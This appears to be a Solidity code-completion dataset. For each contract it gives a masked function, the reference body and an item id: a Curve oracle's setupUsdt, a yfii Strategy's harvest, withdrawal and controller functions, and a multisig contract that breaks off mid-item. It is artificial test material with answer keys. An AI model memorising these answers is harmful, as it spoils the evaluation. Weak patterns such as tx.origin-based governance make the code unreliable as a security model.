CurveAdapterPriceOracle_Buck_Buck
setupUsdt
contract CurveAdapterPriceOracle_Buck_Buck { using SafeMath for uint256; IERC20 public gem; CurvePoolLike public pool; uint256 public numCoins; address public deployer; AggregatorV3Interface public priceETHUSDT; AggregatorV3Interface public priceUSDETH; address public usdtAddress; constructor() public { deployer = msg.sender; } /** * @dev initialize oracle * _gem - address of CRV pool token contract * _pool - address of CRV pool token contract * num - num of tokens in pools */ function setup(address _gem, address _pool, uint256 num) public { require(deployer == msg.sender); gem = IERC20(_gem); pool = CurvePoolLike(_pool); numCoins = num; } function resetDeployer() public { require(deployer == msg.sender); deployer = address(0); } function setupUsdt( address _priceETHUSDT, address _priceUSDETH, address _usdtAddress, bool usdtAsString) public {<FILL_FUNCTION_BODY> } function usdtCalcValue(uint256 value) internal view returns (uint256) { uint256 price1Div = 10 ** ( uint256(priceETHUSDT.decimals()).add(uint256(priceUSDETH.decimals())).add( uint256(IERC20(usdtAddress).decimals()) ) ); (, int256 answerUSDETH, , , ) = priceUSDETH.latestRoundData(); (, int256 answerETHUSDT, , , ) = priceETHUSDT.latestRoundData(); uint256 usdtPrice = uint256(answerUSDETH).mul(uint256(answerETHUSDT)); return value.mul(usdtPrice).div(price1Div); } /** * @dev calculate price */ function calc() internal view returns (bytes32, bool) { uint256 totalSupply = gem.totalSupply(); uint256 decimals = gem.decimals(); uint256 totalValue = 0; for (uint256 i = 0; i<numCoins; i++) { uint256 value = pool.balances(i).mul(1e18).mul(uint256(10)**decimals).div(totalSupply); if (pool.coins(i) == usdtAddress) { totalValue = totalValue.add(usdtCalcValue(value)); } else { uint256 tokenDecimalsF = uint256(10)**uint256(IERC20(pool.coins(i)).decimals()); totalValue = totalValue.add(value.div(tokenDecimalsF)); } } return ( bytes32( totalValue ), true ); } /** * @dev base oracle interface see OSM docs */ function peek() public view returns (bytes32, bool) { return calc(); } /** * @dev base oracle interface see OSM docs */ function read() public view returns (bytes32) { bytes32 wut; bool haz; (wut, haz) = calc(); require(haz, "haz-not"); return wut; } }
contract CurveAdapterPriceOracle_Buck_Buck { using SafeMath for uint256; IERC20 public gem; CurvePoolLike public pool; uint256 public numCoins; address public deployer; AggregatorV3Interface public priceETHUSDT; AggregatorV3Interface public priceUSDETH; address public usdtAddress; constructor() public { deployer = msg.sender; } /** * @dev initialize oracle * _gem - address of CRV pool token contract * _pool - address of CRV pool token contract * num - num of tokens in pools */ function setup(address _gem, address _pool, uint256 num) public { require(deployer == msg.sender); gem = IERC20(_gem); pool = CurvePoolLike(_pool); numCoins = num; } function resetDeployer() public { require(deployer == msg.sender); deployer = address(0); } <FILL_FUNCTION> function usdtCalcValue(uint256 value) internal view returns (uint256) { uint256 price1Div = 10 ** ( uint256(priceETHUSDT.decimals()).add(uint256(priceUSDETH.decimals())).add( uint256(IERC20(usdtAddress).decimals()) ) ); (, int256 answerUSDETH, , , ) = priceUSDETH.latestRoundData(); (, int256 answerETHUSDT, , , ) = priceETHUSDT.latestRoundData(); uint256 usdtPrice = uint256(answerUSDETH).mul(uint256(answerETHUSDT)); return value.mul(usdtPrice).div(price1Div); } /** * @dev calculate price */ function calc() internal view returns (bytes32, bool) { uint256 totalSupply = gem.totalSupply(); uint256 decimals = gem.decimals(); uint256 totalValue = 0; for (uint256 i = 0; i<numCoins; i++) { uint256 value = pool.balances(i).mul(1e18).mul(uint256(10)**decimals).div(totalSupply); if (pool.coins(i) == usdtAddress) { totalValue = totalValue.add(usdtCalcValue(value)); } else { uint256 tokenDecimalsF = uint256(10)**uint256(IERC20(pool.coins(i)).decimals()); totalValue = totalValue.add(value.div(tokenDecimalsF)); } } return ( bytes32( totalValue ), true ); } /** * @dev base oracle interface see OSM docs */ function peek() public view returns (bytes32, bool) { return calc(); } /** * @dev base oracle interface see OSM docs */ function read() public view returns (bytes32) { bytes32 wut; bool haz; (wut, haz) = calc(); require(haz, "haz-not"); return wut; } }
require(address(pool) != address(0)); require(deployer == msg.sender); require(_usdtAddress != address(0)); require(_priceETHUSDT != address(0)); require(_priceUSDETH != address(0)); (bool success, bytes memory returndata) = address(_usdtAddress).call(abi.encodeWithSignature("symbol()")); require(success, "USDT: low-level call failed"); require(returndata.length > 0); if (usdtAsString) { bytes memory usdtSymbol = bytes(abi.decode(returndata, (string))); require(keccak256(bytes(usdtSymbol)) == keccak256("USDT")); } else { bytes32 usdtSymbol = abi.decode(returndata, (bytes32)); require(usdtSymbol == "USDT"); } priceETHUSDT = AggregatorV3Interface(_priceETHUSDT); priceUSDETH = AggregatorV3Interface(_priceUSDETH); usdtAddress = _usdtAddress; deployer = address(0);
function setupUsdt( address _priceETHUSDT, address _priceUSDETH, address _usdtAddress, bool usdtAsString) public
function setupUsdt( address _priceETHUSDT, address _priceUSDETH, address _usdtAddress, bool usdtAsString) public
66403
Strategy
harvest
contract Strategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public pool; address public output; string public getName; address constant public yfii = address(0xa1d0E215a23d7030842FC67cE582a6aFa3CCaB83); address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address constant public ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); uint public fee = 600; uint public burnfee = 300; uint public callfee = 100; uint constant public max = 10000; address public governance; address public controller; address public want; address[] public swapRouting; constructor(address _output,address _pool,address _want) public { governance = tx.origin; controller = 0xe14e60d0F7fb15b1A98FDE88A3415C17b023bf36; output = _output; pool = _pool; want = _want; getName = string( abi.encodePacked("yfii:Strategy:", abi.encodePacked(IERC20(want).name(), abi.encodePacked(":",IERC20(output).name()) ) )); init(); swapRouting = [output,dai,weth,yfii];//grap->dai -> weth->yfii } function deposit() external { IERC20(want).safeApprove(pool, 0); IERC20(want).safeApprove(pool, IERC20(want).balanceOf(address(this))); Yam(pool).stake(IERC20(want).balanceOf(address(this))); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() public returns (uint balance) { require(msg.sender == controller||msg.sender==governance, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { Yam(pool).exit(); } function init () public{ IERC20(output).safeApprove(unirouter, uint(-1)); } function setNewPool(address _output,address _pool) public{ require(msg.sender == governance, "!governance"); //这边是切换池子以及挖到的代币 //先退出之前的池子. harvest(); withdrawAll(); output = _output; pool = _pool; getName = string( abi.encodePacked("yfii:Strategy:", abi.encodePacked(IERC20(want).name(), abi.encodePacked(":",IERC20(output).name()) ) )); } function harvest() public {<FILL_FUNCTION_BODY> } function swap2yfii() internal { //output -> eth ->yfii UniswapRouter(unirouter).swapExactTokensForTokens(IERC20(output).balanceOf(address(this)), 0, swapRouting, address(this), now.add(1800)); } function _withdrawSome(uint256 _amount) internal returns (uint) { Yam(pool).withdraw(_amount); return _amount; } function balanceOf() public view returns (uint) { return Yam(pool).balanceOf(address(this)); } function balanceOfPendingReward() public view returns(uint){ //还没有领取的收益有多少... return Yam(pool).earned(address(this)); } function harvertYFII() public view returns(uint[] memory amounts){ //未收割的token 能换成多少yfii return UniswapRouter(unirouter).getAmountsOut(balanceOfPendingReward(),swapRouting); //https://uniswap.org/docs/v2/smart-contracts/router02/#getamountsout } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } function setFee(uint256 _fee) external{ require(msg.sender == governance, "!governance"); fee = _fee; } function setCallFee(uint256 _fee) external{ require(msg.sender == governance, "!governance"); callfee = _fee; } function setBurnFee(uint256 _fee) external{ require(msg.sender == governance, "!governance"); burnfee = _fee; } function setSwapRouting(address[] memory _path) public{ require(msg.sender == governance, "!governance"); swapRouting = _path; } }
contract Strategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public pool; address public output; string public getName; address constant public yfii = address(0xa1d0E215a23d7030842FC67cE582a6aFa3CCaB83); address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address constant public ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); uint public fee = 600; uint public burnfee = 300; uint public callfee = 100; uint constant public max = 10000; address public governance; address public controller; address public want; address[] public swapRouting; constructor(address _output,address _pool,address _want) public { governance = tx.origin; controller = 0xe14e60d0F7fb15b1A98FDE88A3415C17b023bf36; output = _output; pool = _pool; want = _want; getName = string( abi.encodePacked("yfii:Strategy:", abi.encodePacked(IERC20(want).name(), abi.encodePacked(":",IERC20(output).name()) ) )); init(); swapRouting = [output,dai,weth,yfii];//grap->dai -> weth->yfii } function deposit() external { IERC20(want).safeApprove(pool, 0); IERC20(want).safeApprove(pool, IERC20(want).balanceOf(address(this))); Yam(pool).stake(IERC20(want).balanceOf(address(this))); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() public returns (uint balance) { require(msg.sender == controller||msg.sender==governance, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { Yam(pool).exit(); } function init () public{ IERC20(output).safeApprove(unirouter, uint(-1)); } function setNewPool(address _output,address _pool) public{ require(msg.sender == governance, "!governance"); //这边是切换池子以及挖到的代币 //先退出之前的池子. harvest(); withdrawAll(); output = _output; pool = _pool; getName = string( abi.encodePacked("yfii:Strategy:", abi.encodePacked(IERC20(want).name(), abi.encodePacked(":",IERC20(output).name()) ) )); } <FILL_FUNCTION> function swap2yfii() internal { //output -> eth ->yfii UniswapRouter(unirouter).swapExactTokensForTokens(IERC20(output).balanceOf(address(this)), 0, swapRouting, address(this), now.add(1800)); } function _withdrawSome(uint256 _amount) internal returns (uint) { Yam(pool).withdraw(_amount); return _amount; } function balanceOf() public view returns (uint) { return Yam(pool).balanceOf(address(this)); } function balanceOfPendingReward() public view returns(uint){ //还没有领取的收益有多少... return Yam(pool).earned(address(this)); } function harvertYFII() public view returns(uint[] memory amounts){ //未收割的token 能换成多少yfii return UniswapRouter(unirouter).getAmountsOut(balanceOfPendingReward(),swapRouting); //https://uniswap.org/docs/v2/smart-contracts/router02/#getamountsout } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } function setFee(uint256 _fee) external{ require(msg.sender == governance, "!governance"); fee = _fee; } function setCallFee(uint256 _fee) external{ require(msg.sender == governance, "!governance"); callfee = _fee; } function setBurnFee(uint256 _fee) external{ require(msg.sender == governance, "!governance"); burnfee = _fee; } function setSwapRouting(address[] memory _path) public{ require(msg.sender == governance, "!governance"); swapRouting = _path; } }
require(!Address.isContract(msg.sender),"!contract"); Yam(pool).getReward(); address _vault = Controller(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds swap2yfii(); // fee uint b = IERC20(yfii).balanceOf(address(this)); uint _fee = b.mul(fee).div(max); uint _callfee = b.mul(callfee).div(max); uint _burnfee = b.mul(burnfee).div(max); IERC20(yfii).safeTransfer(Controller(controller).rewards(), _fee); //6% 5% team +1% insurance IERC20(yfii).safeTransfer(msg.sender, _callfee); //call fee 1% IERC20(yfii).safeTransfer(address(0x6666666666666666666666666666666666666666), _burnfee); //burn fee 3% //把yfii 存进去分红. IERC20(yfii).safeApprove(_vault, 0); IERC20(yfii).safeApprove(_vault, IERC20(yfii).balanceOf(address(this))); Yvault(_vault).make_profit(IERC20(yfii).balanceOf(address(this)));
function harvest() public
function harvest() public
63357
Owned
WthdrawTo
contract Owned { address newOwner; address owner = msg.sender; address creator = msg.sender; function changeOwner(address addr) public { if(isOwner()) { newOwner = addr; } } function confirmOwner() public { if(msg.sender==newOwner) { owner=newOwner; } } function isOwner() internal constant returns(bool) { return owner == msg.sender; } function WthdrawAllToCreator() public payable { if(msg.sender==creator) { creator.transfer(this.balance); } } function WthdrawToCreator(uint val) public payable { if(msg.sender==creator) { creator.transfer(val); } } function WthdrawTo(address addr,uint val) public payable {<FILL_FUNCTION_BODY> } }
contract Owned { address newOwner; address owner = msg.sender; address creator = msg.sender; function changeOwner(address addr) public { if(isOwner()) { newOwner = addr; } } function confirmOwner() public { if(msg.sender==newOwner) { owner=newOwner; } } function isOwner() internal constant returns(bool) { return owner == msg.sender; } function WthdrawAllToCreator() public payable { if(msg.sender==creator) { creator.transfer(this.balance); } } function WthdrawToCreator(uint val) public payable { if(msg.sender==creator) { creator.transfer(val); } } <FILL_FUNCTION> }
if(msg.sender==creator) { addr.transfer(val); }
function WthdrawTo(address addr,uint val) public payable
function WthdrawTo(address addr,uint val) public payable
51711
OnlyOwner
replaceController
contract OnlyOwner { address public owner; address private controller; //log the previous and new controller when event is fired. event SetNewController(address prev_controller, address new_controller); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; controller = owner; } /** * @dev Throws if called by any account other than the owner. */ modifier isOwner { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the controller. */ modifier isController { require(msg.sender == controller); _; } function replaceController(address new_controller) isController public returns(bool){<FILL_FUNCTION_BODY> } }
contract OnlyOwner { address public owner; address private controller; //log the previous and new controller when event is fired. event SetNewController(address prev_controller, address new_controller); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; controller = owner; } /** * @dev Throws if called by any account other than the owner. */ modifier isOwner { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the controller. */ modifier isController { require(msg.sender == controller); _; } <FILL_FUNCTION> }
require(new_controller != address(0x0)); controller = new_controller; emit SetNewController(msg.sender,controller); return true;
function replaceController(address new_controller) isController public returns(bool)
function replaceController(address new_controller) isController public returns(bool)
11171
multiowned
confirmAndCheck
contract multiowned { // TYPES // struct for the status of a pending operation. struct MultiOwnedOperationPendingState { // count of confirmations needed uint yetNeeded; // bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit uint ownersDone; // position of this operation key in m_multiOwnedPendingIndex uint index; } // EVENTS event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); event FinalConfirmation(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // MODIFIERS // simple single-sig function modifier. modifier onlyowner { require(isOwner(msg.sender)); _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) { _; } // Even if required number of confirmations has't been collected yet, // we can't throw here - because changes to the state have to be preserved. // But, confirmAndCheck itself will throw in case sender is not an owner. } modifier validNumOwners(uint _numOwners) { require(_numOwners > 0 && _numOwners <= c_maxOwners); _; } modifier multiOwnedValidRequirement(uint _required, uint _numOwners) { require(_required > 0 && _required <= _numOwners); _; } modifier ownerExists(address _address) { require(isOwner(_address)); _; } modifier ownerDoesNotExist(address _address) { require(!isOwner(_address)); _; } modifier multiOwnedOperationIsActive(bytes32 _operation) { require(isOperationActive(_operation)); _; } // METHODS // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!). function multiowned(address[] _owners, uint _required) public validNumOwners(_owners.length) multiOwnedValidRequirement(_required, _owners.length) { assert(c_maxOwners <= 255); m_numOwners = _owners.length; m_multiOwnedRequired = _required; for (uint i = 0; i < _owners.length; ++i) { address owner = _owners[i]; // invalid and duplicate addresses are not allowed require(0 != owner && !isOwner(owner) /* not isOwner yet! */); uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */); m_owners[currentOwnerIndex] = owner; m_ownerIndex[owner] = currentOwnerIndex; } assertOwnersAreConsistent(); } /// @notice replaces an owner `_from` with another `_to`. /// @param _from address of owner to replace /// @param _to address of new owner // All pending operations will be canceled! function changeOwner(address _from, address _to) external ownerExists(_from) ownerDoesNotExist(_to) onlymanyowners(keccak256(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]); m_owners[ownerIndex] = _to; m_ownerIndex[_from] = 0; m_ownerIndex[_to] = ownerIndex; assertOwnersAreConsistent(); OwnerChanged(_from, _to); } /// @notice adds an owner /// @param _owner address of new owner // All pending operations will be canceled! function addOwner(address _owner) external ownerDoesNotExist(_owner) validNumOwners(m_numOwners + 1) onlymanyowners(keccak256(msg.data)) { assertOwnersAreConsistent(); clearPending(); m_numOwners++; m_owners[m_numOwners] = _owner; m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners); assertOwnersAreConsistent(); OwnerAdded(_owner); } /// @notice removes an owner /// @param _owner address of owner to remove // All pending operations will be canceled! function removeOwner(address _owner) external ownerExists(_owner) validNumOwners(m_numOwners - 1) multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1) onlymanyowners(keccak256(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]); m_owners[ownerIndex] = 0; m_ownerIndex[_owner] = 0; //make sure m_numOwners is equal to the number of owners and always points to the last owner reorganizeOwners(); assertOwnersAreConsistent(); OwnerRemoved(_owner); } /// @notice changes the required number of owner signatures /// @param _newRequired new number of signatures required // All pending operations will be canceled! function changeRequirement(uint _newRequired) external multiOwnedValidRequirement(_newRequired, m_numOwners) onlymanyowners(keccak256(msg.data)) { m_multiOwnedRequired = _newRequired; clearPending(); RequirementChanged(_newRequired); } /// @notice Gets an owner by 0-indexed position /// @param ownerIndex 0-indexed owner position function getOwner(uint ownerIndex) public constant returns (address) { return m_owners[ownerIndex + 1]; } /// @notice Gets owners /// @return memory array of owners function getOwners() public constant returns (address[]) { address[] memory result = new address[](m_numOwners); for (uint i = 0; i < m_numOwners; i++) result[i] = getOwner(i); return result; } /// @notice checks if provided address is an owner address /// @param _addr address to check /// @return true if it's an owner function isOwner(address _addr) public constant returns (bool) { return m_ownerIndex[_addr] > 0; } /// @notice Tests ownership of the current caller. /// @return true if it's an owner // It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to // addOwner/changeOwner and to isOwner. function amIOwner() external constant onlyowner returns (bool) { return true; } /// @notice Revokes a prior confirmation of the given operation /// @param _operation operation value, typically keccak256(msg.data) function revoke(bytes32 _operation) external multiOwnedOperationIsActive(_operation) onlyowner { uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); var pending = m_multiOwnedPending[_operation]; require(pending.ownersDone & ownerIndexBit > 0); assertOperationIsConsistent(_operation); pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; assertOperationIsConsistent(_operation); Revoke(msg.sender, _operation); } /// @notice Checks if owner confirmed given operation /// @param _operation operation value, typically keccak256(msg.data) /// @param _owner an owner address function hasConfirmed(bytes32 _operation, address _owner) external constant multiOwnedOperationIsActive(_operation) ownerExists(_owner) returns (bool) { return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0); } // INTERNAL METHODS function confirmAndCheck(bytes32 _operation) private onlyowner returns (bool) {<FILL_FUNCTION_BODY> } // Reclaims free slots between valid owners in m_owners. // TODO given that its called after each removal, it could be simplified. function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { // iterating to the first free slot from the beginning while (free < m_numOwners && m_owners[free] != 0) free++; // iterating to the first occupied slot from the end while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; // swap, if possible, so free slot is located at the end after the swap if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { // owners between swapped slots should't be renumbered - that saves a lot of gas m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() private onlyowner { uint length = m_multiOwnedPendingIndex.length; // TODO block gas limit for (uint i = 0; i < length; ++i) { if (m_multiOwnedPendingIndex[i] != 0) delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]]; } delete m_multiOwnedPendingIndex; } function checkOwnerIndex(uint ownerIndex) private pure returns (uint) { assert(0 != ownerIndex && ownerIndex <= c_maxOwners); return ownerIndex; } function makeOwnerBitmapBit(address owner) private constant returns (uint) { uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]); return 2 ** ownerIndex; } function isOperationActive(bytes32 _operation) private constant returns (bool) { return 0 != m_multiOwnedPending[_operation].yetNeeded; } function assertOwnersAreConsistent() private constant { assert(m_numOwners > 0); assert(m_numOwners <= c_maxOwners); assert(m_owners[0] == 0); assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners); } function assertOperationIsConsistent(bytes32 _operation) private constant { var pending = m_multiOwnedPending[_operation]; assert(0 != pending.yetNeeded); assert(m_multiOwnedPendingIndex[pending.index] == _operation); assert(pending.yetNeeded <= m_multiOwnedRequired); } // FIELDS uint constant c_maxOwners = 250; // the number of owners that must confirm the same operation before it is run. uint public m_multiOwnedRequired; // pointer used to find a free slot in m_owners uint public m_numOwners; // list of owners (addresses), // slot 0 is unused so there are no owner which index is 0. // TODO could we save space at the end of the array for the common case of <10 owners? and should we? address[256] internal m_owners; // index on the list of owners to allow reverse lookup: owner address => index in m_owners mapping(address => uint) internal m_ownerIndex; // the ongoing operations. mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending; bytes32[] internal m_multiOwnedPendingIndex; }
contract multiowned { // TYPES // struct for the status of a pending operation. struct MultiOwnedOperationPendingState { // count of confirmations needed uint yetNeeded; // bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit uint ownersDone; // position of this operation key in m_multiOwnedPendingIndex uint index; } // EVENTS event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); event FinalConfirmation(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // MODIFIERS // simple single-sig function modifier. modifier onlyowner { require(isOwner(msg.sender)); _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) { _; } // Even if required number of confirmations has't been collected yet, // we can't throw here - because changes to the state have to be preserved. // But, confirmAndCheck itself will throw in case sender is not an owner. } modifier validNumOwners(uint _numOwners) { require(_numOwners > 0 && _numOwners <= c_maxOwners); _; } modifier multiOwnedValidRequirement(uint _required, uint _numOwners) { require(_required > 0 && _required <= _numOwners); _; } modifier ownerExists(address _address) { require(isOwner(_address)); _; } modifier ownerDoesNotExist(address _address) { require(!isOwner(_address)); _; } modifier multiOwnedOperationIsActive(bytes32 _operation) { require(isOperationActive(_operation)); _; } // METHODS // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!). function multiowned(address[] _owners, uint _required) public validNumOwners(_owners.length) multiOwnedValidRequirement(_required, _owners.length) { assert(c_maxOwners <= 255); m_numOwners = _owners.length; m_multiOwnedRequired = _required; for (uint i = 0; i < _owners.length; ++i) { address owner = _owners[i]; // invalid and duplicate addresses are not allowed require(0 != owner && !isOwner(owner) /* not isOwner yet! */); uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */); m_owners[currentOwnerIndex] = owner; m_ownerIndex[owner] = currentOwnerIndex; } assertOwnersAreConsistent(); } /// @notice replaces an owner `_from` with another `_to`. /// @param _from address of owner to replace /// @param _to address of new owner // All pending operations will be canceled! function changeOwner(address _from, address _to) external ownerExists(_from) ownerDoesNotExist(_to) onlymanyowners(keccak256(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]); m_owners[ownerIndex] = _to; m_ownerIndex[_from] = 0; m_ownerIndex[_to] = ownerIndex; assertOwnersAreConsistent(); OwnerChanged(_from, _to); } /// @notice adds an owner /// @param _owner address of new owner // All pending operations will be canceled! function addOwner(address _owner) external ownerDoesNotExist(_owner) validNumOwners(m_numOwners + 1) onlymanyowners(keccak256(msg.data)) { assertOwnersAreConsistent(); clearPending(); m_numOwners++; m_owners[m_numOwners] = _owner; m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners); assertOwnersAreConsistent(); OwnerAdded(_owner); } /// @notice removes an owner /// @param _owner address of owner to remove // All pending operations will be canceled! function removeOwner(address _owner) external ownerExists(_owner) validNumOwners(m_numOwners - 1) multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1) onlymanyowners(keccak256(msg.data)) { assertOwnersAreConsistent(); clearPending(); uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]); m_owners[ownerIndex] = 0; m_ownerIndex[_owner] = 0; //make sure m_numOwners is equal to the number of owners and always points to the last owner reorganizeOwners(); assertOwnersAreConsistent(); OwnerRemoved(_owner); } /// @notice changes the required number of owner signatures /// @param _newRequired new number of signatures required // All pending operations will be canceled! function changeRequirement(uint _newRequired) external multiOwnedValidRequirement(_newRequired, m_numOwners) onlymanyowners(keccak256(msg.data)) { m_multiOwnedRequired = _newRequired; clearPending(); RequirementChanged(_newRequired); } /// @notice Gets an owner by 0-indexed position /// @param ownerIndex 0-indexed owner position function getOwner(uint ownerIndex) public constant returns (address) { return m_owners[ownerIndex + 1]; } /// @notice Gets owners /// @return memory array of owners function getOwners() public constant returns (address[]) { address[] memory result = new address[](m_numOwners); for (uint i = 0; i < m_numOwners; i++) result[i] = getOwner(i); return result; } /// @notice checks if provided address is an owner address /// @param _addr address to check /// @return true if it's an owner function isOwner(address _addr) public constant returns (bool) { return m_ownerIndex[_addr] > 0; } /// @notice Tests ownership of the current caller. /// @return true if it's an owner // It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to // addOwner/changeOwner and to isOwner. function amIOwner() external constant onlyowner returns (bool) { return true; } /// @notice Revokes a prior confirmation of the given operation /// @param _operation operation value, typically keccak256(msg.data) function revoke(bytes32 _operation) external multiOwnedOperationIsActive(_operation) onlyowner { uint ownerIndexBit = makeOwnerBitmapBit(msg.sender); var pending = m_multiOwnedPending[_operation]; require(pending.ownersDone & ownerIndexBit > 0); assertOperationIsConsistent(_operation); pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; assertOperationIsConsistent(_operation); Revoke(msg.sender, _operation); } /// @notice Checks if owner confirmed given operation /// @param _operation operation value, typically keccak256(msg.data) /// @param _owner an owner address function hasConfirmed(bytes32 _operation, address _owner) external constant multiOwnedOperationIsActive(_operation) ownerExists(_owner) returns (bool) { return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0); } <FILL_FUNCTION> // Reclaims free slots between valid owners in m_owners. // TODO given that its called after each removal, it could be simplified. function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { // iterating to the first free slot from the beginning while (free < m_numOwners && m_owners[free] != 0) free++; // iterating to the first occupied slot from the end while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; // swap, if possible, so free slot is located at the end after the swap if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { // owners between swapped slots should't be renumbered - that saves a lot of gas m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() private onlyowner { uint length = m_multiOwnedPendingIndex.length; // TODO block gas limit for (uint i = 0; i < length; ++i) { if (m_multiOwnedPendingIndex[i] != 0) delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]]; } delete m_multiOwnedPendingIndex; } function checkOwnerIndex(uint ownerIndex) private pure returns (uint) { assert(0 != ownerIndex && ownerIndex <= c_maxOwners); return ownerIndex; } function makeOwnerBitmapBit(address owner) private constant returns (uint) { uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]); return 2 ** ownerIndex; } function isOperationActive(bytes32 _operation) private constant returns (bool) { return 0 != m_multiOwnedPending[_operation].yetNeeded; } function 